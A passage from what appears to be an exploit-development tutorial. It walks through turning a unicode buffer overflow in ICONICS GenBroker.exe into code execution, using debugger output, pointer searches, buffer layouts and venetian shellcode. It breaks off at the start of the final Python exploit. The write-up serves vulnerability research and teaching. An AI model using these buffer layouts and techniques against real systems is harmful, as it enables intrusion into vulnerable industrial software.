decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/image_thumb11.png\" width=\"415\" height=\"315\"><\/a><\/p>\n<p>That's good enough \ud83d\ude42<\/p>\n<p>We managed to control EIP and we can see pointers to our payload on the stack.&nbsp; The advisory also explains that there are many ways to trigger corruption, and maybe changing the payload itself (10000 A's in our case) will change the flow of the application too.<\/p>\n<p>So it appears we own some part of the program\u2026but can we make it further than this?<\/p>\n<p>Something's to consider is our pointer is in unicode (EAX = 00410041), which will considerably shrink the amount of pointers we have available to use. Not only are we limited in our selection but we essentially need to find a pointer to a pointer, because EAX is populated by reading ECX earlier on<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7C274B99   . 8B31           MOV ESI,DWORD PTR DS:[ECX]\n7C274B9B   . 8B5E F4        MOV EBX,DWORD PTR DS:[ESI-C]\n7C274B9E   . 83EE 10        SUB ESI,10\n7C274BA1   . 894D F8        MOV DWORD PTR SS:[EBP-8],ECX\n7C274BA4   . 8B0E           MOV ECX,DWORD PTR DS:[ESI]\n7C274BA6   . 8B01           MOV EAX,DWORD PTR DS:[ECX]\n7C274BA8   . 57             PUSH EDI\n7C274BA9   . 895D FC        MOV DWORD PTR SS:[EBP-4],EBX\n7C274BAC   . FF50 10        CALL DWORD PTR DS:[EAX+10]<\/pre>\n<p>Since we are calling the data segment of a pointer we are loading the op code or bytes at that location into EIP.<\/p>\n<p>Lets look at that more in detail using an sample pointer (one that we put in ourselves at runtime). Besides the fact that our 'test' pointer is not unicode we will use it simply for an example to see what EIP will look like after the call [EAX + 10] is made.<\/p>\n<p>If we use a pointer at 0x0041AAD5, it will lead to \u201cADD ESP, 0C # RETN\u201d.<\/p>\n<p>If we subtract 0x10 from that pointer (to compensate for EAX + 10) we are left with 0x0041AAC5.<\/p>\n<p>Let\u2019s go ahead and rerun our code and put a break point at the call (bp at 7C274BAC). Then we will change EAX into 0x0041AAC5 and execute the call.<\/p>\n<p>DS:[0041AAD5]=C30CC483<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic2.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic2\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic2_thumb.jpg\" width=\"467\" height=\"325\"><\/a><\/p>\n<p>If we look at the picture we can see that instead of our \u201cADD ESP, 0C # RETN\u201d we landed at the opcode or bytes of that pointer. If we take into account the little endian of our bytes we see that \\xc3\\x0c\\xc4\\x83\u201d, which is the opcode for the \"add esp,0c\/retn\" gadget has become our pointer! So we need to keep this into consideration when we begin looking for a pointer that we will need to use for the call. It basically means we need to find a pointer to the pointer.<\/p>\n<p>Also : since we control what is being copied over,&nbsp; perhaps we might be able to find different flows that lead us to different calls.<\/p>\n<p>Before we move any further lets go ahead and look at our modules, basically enumerating what is available to us when looking for pointers.<\/p>\n<p>&nbsp;<\/p>\n<h2>Analysis<\/h2>\n<h3>Module analysis, safeseh, rebase<\/h3>\n<p>Running \u201c!<a href=\"https:\/\/github.com\/corelan\/mona\" target=\"_blank\" rel=\"noopener\">mona<\/a> modules\u201d in Immunity Debugger will give us some great information with what were not only up against in terms of limitations but also what we can what modules we can work with.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 731px; padding-right: 5px; height: 874px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------\n0BADF00D   Module info :\n0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------\n0BADF00D   Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename &amp; Path\n0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------\n0BADF00D   0x002f0000 | 0x00346000 | 0x00056000 | True   | True    | False |  False   | True   | 7.10.3052.4 [MSVCR71.dll] (C:\\WINDOWS\\system32\\MSVCR71.dll)\n0BADF00D   0x74980000 | 0x74aa3000 | 0x00123000 | False  | True    | False |  False   | True   | 8.100.1052.0 [msxml3.dll] (C:\\WINDOWS\\system32\\msxml3.dll)\n0BADF00D   0x77a80000 | 0x77b15000 | 0x00095000 | False  | True    | False |  False   | True   | 5.131.2600.5512 [CRYPT32.dll] (C:\\WINDOWS\\system32\\CRYPT32.dll)\n0BADF00D   0x76f20000 | 0x76f47000 | 0x00027000 | False  | True    | False |  False   | True   | 5.1.2600.6089 [DNSAPI.dll] (C:\\WINDOWS\\system32\\DNSAPI.dll)\n0BADF00D   0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5781 [kernel32.dll] (C:\\WINDOWS\\system32\\kernel32.dll)\n0BADF00D   0x76780000 | 0x76789000 | 0x00009000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHFOLDER.dll] (C:\\WINDOWS\\system32\\SHFOLDER.dll)\n0BADF00D   0x7c3a0000 | 0x7c41b000 | 0x0007b000 | False  | True    | False |  False   | True   | 7.10.3077.0 [MSVCP71.dll] (C:\\WINDOWS\\system32\\MSVCP71.dll)\n0BADF00D   0x7c900000 | 0x7c9b2000 | 0x000b2000 | False  | True    | False |  False   | True   | 5.1.2600.6055 [ntdll.dll] (C:\\WINDOWS\\system32\\ntdll.dll)\n0BADF00D   0x71a90000 | 0x71a98000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [wshtcpip.dll] (C:\\WINDOWS\\System32\\wshtcpip.dll)\n0BADF00D   0x00290000 | 0x002bf000 | 0x0002f000 | True   | False   | False |  False   | True   | 9.20.200.49 [TraceWorX.DLL] (C:\\WINDOWS\\system32\\TraceWorX.DLL)\n0BADF00D   0x76fc0000 | 0x76fc6000 | 0x00006000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [rasadhlp.dll] (C:\\WINDOWS\\system32\\rasadhlp.dll)\n0BADF00D   0x77fe0000 | 0x77ff1000 | 0x00011000 | False  | True    | False |  False   | True   | 5.1.2600.5834 [Secur32.dll] (C:\\WINDOWS\\system32\\Secur32.dll)\n0BADF00D   0x71ad0000 | 0x71ad9000 | 0x00009000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WSOCK32.dll] (C:\\WINDOWS\\system32\\WSOCK32.dll)\n0BADF00D   0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2HELP.dll] (C:\\WINDOWS\\system32\\WS2HELP.dll)\n0BADF00D   0x774e0000 | 0x7761e000 | 0x0013e000 | False  | True    | False |  False   | True   | 5.1.2600.6010 [ole32.dll] (C:\\WINDOWS\\system32\\ole32.dll)\n0BADF00D   0x77f60000 | 0x77fd6000 | 0x00076000 | False  | True    | False |  False   | True   | 6.00.2900.5912 [SHLWAPI.dll] (C:\\WINDOWS\\system32\\SHLWAPI.dll)\n0BADF00D   0x662b0000 | 0x66308000 | 0x00058000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [hnetcfg.dll] (C:\\WINDOWS\\system32\\hnetcfg.dll)\n0BADF00D   0x7e410000 | 0x7e4a1000 | 0x00091000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [USER32.dll] (C:\\WINDOWS\\system32\\USER32.dll)\n0BADF00D   0x01080000 | 0x0108f000 | 0x0000f000 | True   | True    | False |  False   | True   | 9.20.200.49 [MwxPS.dll] (C:\\WINDOWS\\system32\\MwxPS.dll)\n0BADF00D   0x64d00000 | 0x64d34000 | 0x00034000 | False  | True    | False |  True    | False  | 6.0.1203.0 [snxhk.dll] (C:\\Program Files\\AVAST Software\\Avast\\snxhk.dll)\n0BADF00D   0x71b20000 | 0x71b32000 | 0x00012000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [MPR.dll] (C:\\WINDOWS\\system32\\MPR.dll)\n0BADF00D   0x002c0000 | 0x002e7000 | 0x00027000 | True   | True    | False |  False   | True   | 9.20.200.49 [UnifiedSetupStorage.dll] (C:\\WINDOWS\\system32\\UnifiedSetupStorage.dll)\n0BADF00D   0x7c250000 | 0x7c352000 | 0x00102000 | False  | True    | False |  False   | True   | 7.10.3077.0 [MFC71U.DLL] (C:\\WINDOWS\\system32\\MFC71U.DLL)\n0BADF00D   0x5ad70000 | 0x5ada8000 | 0x00038000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [uxtheme.dll] (C:\\WINDOWS\\system32\\uxtheme.dll)\n0BADF00D   0x10000000 | 0x10186000 | 0x00186000 | False  | True    | False |  False   | True   | 9.21.201.02 [GenClientU.dll] (C:\\WINDOWS\\system32\\GenClientU.dll)\n0BADF00D   0x77120000 | 0x771ab000 | 0x0008b000 | False  | True    | False |  False   | True   | 5.1.2600.6058 [OLEAUT32.dll] (C:\\WINDOWS\\system32\\OLEAUT32.dll)\n0BADF00D   0x00400000 | 0x0085f000 | 0x0045f000 | False  | True    | False |  False   | False  | 9.21.201.01 [GenBroker.exe] (C:\\Program Files\\Common Files\\ICONICS\\GenBroker.exe)\n0BADF00D   0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False  | True    | False |  False   | True   | 6.00.2900.6072 [SHELL32.dll] (C:\\WINDOWS\\system32\\SHELL32.dll)\n0BADF00D   0x77e70000 | 0x77f03000 | 0x00093000 | False  | True    | False |  False   | True   | 5.1.2600.6022 [RPCRT4.dll] (C:\\WINDOWS\\system32\\RPCRT4.dll)\n0BADF00D   0x00bf0000 | 0x00eb5000 | 0x002c5000 | True   | True    | False |  False   | True   | 5.1.2600.5512 [xpsp2res.dll] (C:\\WINDOWS\\system32\\xpsp2res.dll)\n0BADF00D   0x76fd0000 | 0x7704f000 | 0x0007f000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [CLBCATQ.DLL] (C:\\WINDOWS\\system32\\CLBCATQ.DLL)\n0BADF00D   0x773d0000 | 0x774d3000 | 0x00103000 | False  | True    | False |  False   | True   | 6.0 [comctl32.dll] (C:\\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\\comctl32.dll)\n0BADF00D   0x76390000 | 0x763ad000 | 0x0001d000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [IMM32.DLL] (C:\\WINDOWS\\system32\\IMM32.DLL)\n0BADF00D   0x76fb0000 | 0x76fb8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [winrnr.dll] (C:\\WINDOWS\\System32\\winrnr.dll)\n0BADF00D   0x77050000 | 0x77115000 | 0x000c5000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [COMRes.dll] (C:\\WINDOWS\\system32\\COMRes.dll)\n0BADF00D   0x76f60000 | 0x76f8c000 | 0x0002c000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WLDAP32.dll] (C:\\WINDOWS\\system32\\WLDAP32.dll)\n0BADF00D   0x76d60000 | 0x76d79000 | 0x00019000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [iphlpapi.dll] (C:\\WINDOWS\\system32\\iphlpapi.dll)\n0BADF00D   0x71a50000 | 0x71a8f000 | 0x0003f000 | False  | True    | False |  False   | True   | 5.1.2600.5625 [mswsock.dll] (C:\\WINDOWS\\System32\\mswsock.dll)\n0BADF00D   0x77f10000 | 0x77f59000 | 0x00049000 | False  | True    | False |  False   | True   | 5.1.2600.5698 [GDI32.dll] (C:\\WINDOWS\\system32\\GDI32.dll)\n0BADF00D   0x77b20000 | 0x77b32000 | 0x00012000 | False  | True    | False |  False   | True   | 5.1.2600.5875 [MSASN1.dll] (C:\\WINDOWS\\system32\\MSASN1.dll)\n0BADF00D   0x77c10000 | 0x77c68000 | 0x00058000 | False  | True    | False |  False   | True   | 7.0.2600.5512 [msvcrt.dll] (C:\\WINDOWS\\system32\\msvcrt.dll)\n0BADF00D   0x77c00000 | 0x77c08000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [VERSION.dll] (C:\\WINDOWS\\system32\\VERSION.dll)\n0BADF00D   0x77dd0000 | 0x77e6b000 | 0x0009b000 | False  | True    | False |  False   | True   | 5.1.2600.5755 [ADVAPI32.dll] (C:\\WINDOWS\\system32\\ADVAPI32.dll)\n0BADF00D   0x71ab0000 | 0x71ac7000 | 0x00017000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2_32.dll] (C:\\WINDOWS\\system32\\WS2_32.dll)\n0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------<\/pre>\n<p>&nbsp;<\/p>\n<p>We can see that the only obvious module that might contains unicode pointers is the main application, GenBroker.exe.<\/p>\n<p>This module has no aslr and is not going to be get rebased, but it is SafeSEH enabled.<\/p>\n<p>The other 2 unicode modules are affected by rebasing the virtual memory base address range.<\/p>\n<p>We might be able to take advantage of unicode conversions too, but all in all, this leaves us with not&nbsp; that many options.<\/p>\n<p>Anyways, let's try to find a unicode pointer to put in eax and see how far we get with that.<\/p>\n<p>&nbsp;<\/p>\n<h3>Solution I<\/h3>\n<p>Since we have to find a pointer to a pointer in GenBroker.exe some manual discovery was done here. Since our address range is from&nbsp; 0x00400000 to 0x0085f000 and we have to find a unicode data segment pointer, there was an easy way to search for those pointers with mona.py. If we could search each address range with the bytes of that address we could see what pointers we could find in GenBroker.exe.<\/p>\n<p>For example we will run<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!mona find -s \"\\x44\\x00\" -cp unicode \u2013m GenBroker.exe<\/pre>\n<p>we can find pointers that contain the opcode or data bytes of possible unicode pointers.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x00450056 : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045005a : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045005e : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450062 : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450066 : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045007a : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045007e : \"\\x44\\x00\" | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450082 : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450086 : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045008a : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045008e : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450092 : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450096 : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045009a : \"\\x44\\x00\" | startnull,unicode {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450152 : \"\\x44\\x00\" | startnull,unicode ansi transformed : 0045008C, \/ alternatives (close pointers) : 0045009C-&gt;00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x00450156 : \"\\x44\\x00\" | startnull,unicode possible ansi transform(s) : 0045008C-&gt;00450152 \/ 0045009C-&gt;00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]\n0x0045015a : \"\\x44\\x00\" | startnull,unicode possible ansi transform(s) : 0045008C-&gt;00450152 \/ 0045009C-&gt;00450153,ascii {PAGE_EXECUTE_READ} [GenBroker.exe]<\/pre>\n<p>Most of these turned out to be pointers from the IAT in GenBroker.exe, so we could essentially take advantage of the byes in these address locations for our call [EAX +10]. All we would need to do is see where these pointers actually take us and if they can be utilized to get to our buffer.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00450054   . F8F74400       DD GenBroke.0044F7F8  ;  Switch table used at 0044F7D4\n00450058   . 15F84400       DD GenBroke.0044F815\n0045005C   . 32F84400       DD GenBroke.0044F832\n00450060   . DBF74400       DD GenBroke.0044F7DB\n00450064   . F1FC4400       DD GenBroke.0044FCF1<\/pre>\n<p>Looking at 0x0044FCF1 we see something interesting.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0044FCF1  |&gt; 8B4C24 0C      MOV ECX,DWORD PTR SS:[ESP+C]  ;  Default case of switch 0044F579\n0044FCF5  |. 5F             POP EDI\n0044FCF6  |. 5E             POP ESI\n0044FCF7  |. 64:890D 000000&gt;MOV DWORD PTR FS:[0],ECX\n0044FCFE  |. 5B             POP EBX\n0044FCFF  |. 83C4 0C        ADD ESP,0C\n0044FD02  \\. C2 0400        RETN 4<\/pre>\n<p>If we look at the stack setup we see that ESP + C points to our buffer and will load ECX with that location.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">$ ==&gt;    &gt; 7C274BAF  \u00afK'|  RETURN to MFC71U.7C274BAF\n$+4      &gt; 016CFDF8  \u00f8\u00fdl\n$+8      &gt; 00000041  A...\n$+C      &gt; 016CFCB4  \u00b4\u00fcl  ASCII \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"<\/pre>\n<p>That means that \u201cMOV ECX,DWORD PTR SS:[ESP+C]\u201d will load ECX with our buffer. The next interesting function is :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0044FCF7  |. 64:890D 000000&gt;MOV DWORD PTR FS:[0],ECX<\/pre>\n<p>A pointer to the first entry in the SEH chain on the stack is located at [TEB + 0]. Since ECX contains our buffer we can essentially create a new SEH chain. The pointer of ECX also happens to be the top of the stack we control from our memcpy(). Lets go ahead and run our code again and manually put 0x0044FCF1 into EAX once EIP is overwritten and single step through the program in the debugger. Once we step over 0X044FCF7 we can see that we now control SEH on our stack.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic3.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic3\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic3_thumb.jpg\" width=\"496\" height=\"345\"><\/a><\/p>\n<p>So essentially with that pointer I was able to control our EIP data call (if we had put 0x00450054 into EAX before our call [EAX + 10]) and change this to an SEH exploit.<\/p>\n<p>The good news is that we can choose an SEH pointer that is ascii and not unicode, the bad news is all modules except for one have safeseh enabled! The one module that does not have safeseh enabled is flagged for rebasing. However, that doesn\u2019t mean that the module is rebased or that we can not find similar pointers amongst other machines. Peter and I compared our possible SEH pointers and we found some in common.&nbsp; Being that our machines and XP copies are different this potentially means that we could make this exploit generic.<\/p>\n<p>However, after submitting to the Metasploit this proved false and _sinn3r was unable to get code execution as the SEH pointer was rebased on his testing box.<\/p>\n<p>After manually searching through all the unicode pointers in GenBroker.exe I was unable to find one useful that would return to my buffer on the stack.<\/p>\n<p>Back to the drawing board.<\/p>\n<p>&nbsp;<\/p>\n<h3>Many roads to EIP<\/h3>\n<p>Although case 12 also indicated a way to potentially get control over EIP, I decided to stick with my current poc for a while, because I'm convinced the payload itself (A's at this point) might influence the behaviour of the application flow.<\/p>\n<p>So basically, we still may be able to control a different flow in the application by changing parts of the buffer.&nbsp; It was time to go back a step and look at our memcpy()\u2019s and how different payload would lead to overwriting different parts (and thus leading to a different flow)<\/p>\n<p>I realize I was able to overwrite different pointers if I didn\u2019t use a long buffer of just \u201cA\u201ds. Here are two other flows we can control EIP with. If we look at our call stack when doing the following buffer setups we can successfully control two different flows.<\/p>\n<p>7C27DC7C&nbsp;&nbsp; FF52 08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[EDX+8]<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">buffer = \"\\x41\" * 360\nbuffer+= \"B\" * 10000<\/pre>\n<p>7C27C9AA&nbsp;&nbsp; FF52 04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[EDX+4]<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">buffer = \"\\x41\" * 360\nbuffer+= \"\\xff\" * 10000<\/pre>\n<p>In each of the calls, we control EDX and our stack setup was different with each flow.<\/p>\n<p>It was time to go back and look at my unicode pointers in GenBroker.exe again and see if I can take advantage of any of them.<\/p>\n<p>&nbsp;<\/p>\n<h3>Solution II - call [edx+8]<\/h3>\n<p>If we go the route of call [edx + 8] we can see our stack setup looks a little different this time.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">$ ==&gt;    &gt; 7C27DC7F  \u00dc'|  RETURN to MFC71U.7C27DC7F\n$+4      &gt; 00AEE888  \u02c6\u00e8\u00ae.\n$+8      &gt; 00AEEBF8  \u00f8\u00eb\u00ae.  UNICODE \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\"\n$+C      &gt; 00000002  ...\n$+10     &gt; 00AEEBF8  \u00f8\u00eb\u00ae.  UNICODE \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\"\n$+14     &gt; 7C27DC64  d\u00dc'|  RETURN to MFC71U.7C27DC64 from MFC71U.7C27DC69\n$+18     &gt; 00AEEBF8  \u00f8\u00eb\u00ae.  UNICODE \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\"<\/pre>\n<p>Before we had to look for a pivot of +0x0C, however this time around we have a lot more options. Lets take a look at the same pointer we used before.<\/p>\n<p>00450064 . F1FC4400 DD GenBroke.0044FCF1<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0044FCF1  |&gt; 8B4C24 0C      MOV ECX,DWORD PTR SS:[ESP+C]             ;  Default case of switch 0044F579\n0044FCF5  |. 5F             POP EDI                                  ;  + 0x04\n0044FCF6  |. 5E             POP ESI                                  ;  + 0x04\n0044FCF7  |. 64:890D 000000&gt;MOV DWORD PTR FS:[0],ECX\n0044FCFE  |. 5B             POP EBX                                  ;  + 0x04\n0044FCFF  |. 83C4 0C        ADD ESP,0C                      ;  totals + 0x18 with pops\n0044FD02  \\. C2 0400        RETN 4<\/pre>\n<p>Essentially this means we can return to +0x18 on the stack which is our buffer! Lets go ahead and try this out.<\/p>\n<p>We will replace out \u201cA\u201d * 360 with \"\\x5c\\x45\" (to take into account our call [EDX + 8] which will point to 0x0045005C).<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0045005C   . 32F84400       DD GenBroke.0044F832\n00450060   . DBF74400       DD GenBroke.0044F7DB\n00450064   . F1FC4400       DD GenBroke.0044FCF1<\/pre>\n<p>To stay consistent we will put \u201c\\x5c\\x45\" * 180 since we are multiplying two bytes instead of our original A\u2019s * 360.<\/p>\n<p>During the memcpy() routines bytes from our buffer are copied onto the stack allowing us to control the size field of another memcpy(). Different sizes resulted in different flows.&nbsp; Some interesting range of bytes&nbsp; I came across would result in potentially different flows (\\x01 -&gt; \\x7f, \\x80 -&gt; \\xfe,xff)<\/p>\n<p>A bit of toying around I was able to control my call [EDX + 8] all the way onto the stack.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">buffer = \"\\x5c\\x45\" * 180\nbuffer+= \"A\" * 14               #offset to return to venetian code\nbuffer+= \"B\" * 6                #reserved for venetian walk\nbuffer+= \"A\" * 53               #another memcpy is done here before the next one writen to stack, need to be less than 7f\nbuffer+= \"\\x7f\" * 8             #control memcpy size for stack to maximize length\nbuffer+= \"B\" *  127             #bytes free for sc on the stack\nbuffer+= \"\\xfe\" * 140           #needs to be over 7f to get to the call edx\nbuffer+= \"B\" * 10000<\/pre>\n<p>&nbsp;<\/p>\n<p>We will go ahead and put a break point on the call [EDX + 8] at location 0x7C27DC7C and single step until we hit our buffer.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic4.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic4\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic4_thumb.png\" width=\"502\" height=\"349\"><\/a><\/p>\n<p>Woot! Looks like we land back in our unicode buffer, using a reliable pointer.<\/p>\n<p>We can write some <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/11\/06\/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc\/\" target=\"_blank\" rel=\"noopener\">venetian shellcode<\/a> here to return to our ascii buffer on the stack.<\/p>\n<p>Let\u2019s rerun our code again and insert some venetian code to return to our stack code.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00AEEC88   61               POPAD\n00AEEC89   0042 00          ADD BYTE PTR DS:[EDX],AL\n00AEEC8C   58               POP EAX\n00AEEC8D   0042 00          ADD BYTE PTR DS:[EDX],AL\n00AEEC90   C3               RETN<\/pre>\n<p>If we single step we now return to a (small) 127 byte buffer on the stack. 127 bytes is not a lot, but it's enough for an egg hunter.<\/p>\n<p>So I added an egghunter and put a tag before our shellcode. The final layout looks like:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/python\n# lincoln - lincoln@corelan.be\n#\n<span style=\"color: #0000ff\">import<\/span> socket,<span style=\"color: #0000ff\">sys<\/span>,struct\n\nheader = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01<\/span>\"\nheader += \"<span style=\"color: #8b0000\">\\x00<\/span>\" * 7\nopcode = \"<span style=\"color: 